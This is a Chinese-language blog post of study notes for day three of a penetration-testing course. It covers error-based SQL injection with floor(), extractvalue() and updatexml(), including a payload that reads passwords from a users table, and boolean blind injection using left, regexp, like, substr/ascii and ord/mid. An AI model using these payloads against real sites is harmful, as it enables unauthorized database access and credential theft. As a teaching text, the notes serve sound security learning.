• 渗透测试 day3


    报错注入

    原理:构造payload让信息通过错误提示回显出来

    应用场景:查询不会先内容,但是会打印错误信息

    upload、insert等语句,会打印错误信息

    方法:凡是可以让错误信息显示的函数(语句),都能实现报错注入

    floor()

    select count(*) from infomation_schema.tables group by concat((select version(),floor(rand(0)*2));

     

    extractvalue()

     

    updatexml()

     

    如果返回值超过32位,显示不出来,就使用substrr进行截取

    and updatexml(1,concat(0x7e,(select substr(concat(password),1,2)from users limit 0,1),0x7e),1)--+

    布尔盲注

    原理:我们可以通过构造语句,来判断数据库信息的正确性,在通过页面的“真”和“假”来识别我们的判断是否正确,这就是布尔盲注。

    方法:

    构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入

    1、 left()函数 left(database(),b)>'a'

    //database() 显示数据库名称,left(a,b)从左侧截取前b位

    2、 regexp

    //select user() regexp '^r' 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式

    3、 like

    //select user() like 'ro%',与regexp类似,使用like进行匹配

    4、 substr()函数

    ascii()函数

    //ascii(substr((select database()),1,1))=115 避免过滤和转义单引号

    5、 ord()函数

    mid()函数

    //ord(mid((select user()),1,1))=114

    mid(a,b,c)从位置b开始,截取a字符串的c位。ord()函数同ascii(),将字符转为ascii值

  • 相关阅读:
    Delphi中 弹出框的用法
    VC++代码上传到VSS上 注意事项
    VC++ 屏蔽掉警告
    IIS LocalDB 登录失败
    SVN版本回滚实战
    Git常用命令图解
    C# 百度API地址坐标互相转换
    Quartz.NET浅谈一 : 简单Job使用(定时发送QQ邮件)
    发布自己的类库包到Nuget
    C# 常用日期取得
  • 原文地址:https://www.cnblogs.com/liuyuanzzz/p/11679914.html
Copyright © 2020-2023  润新知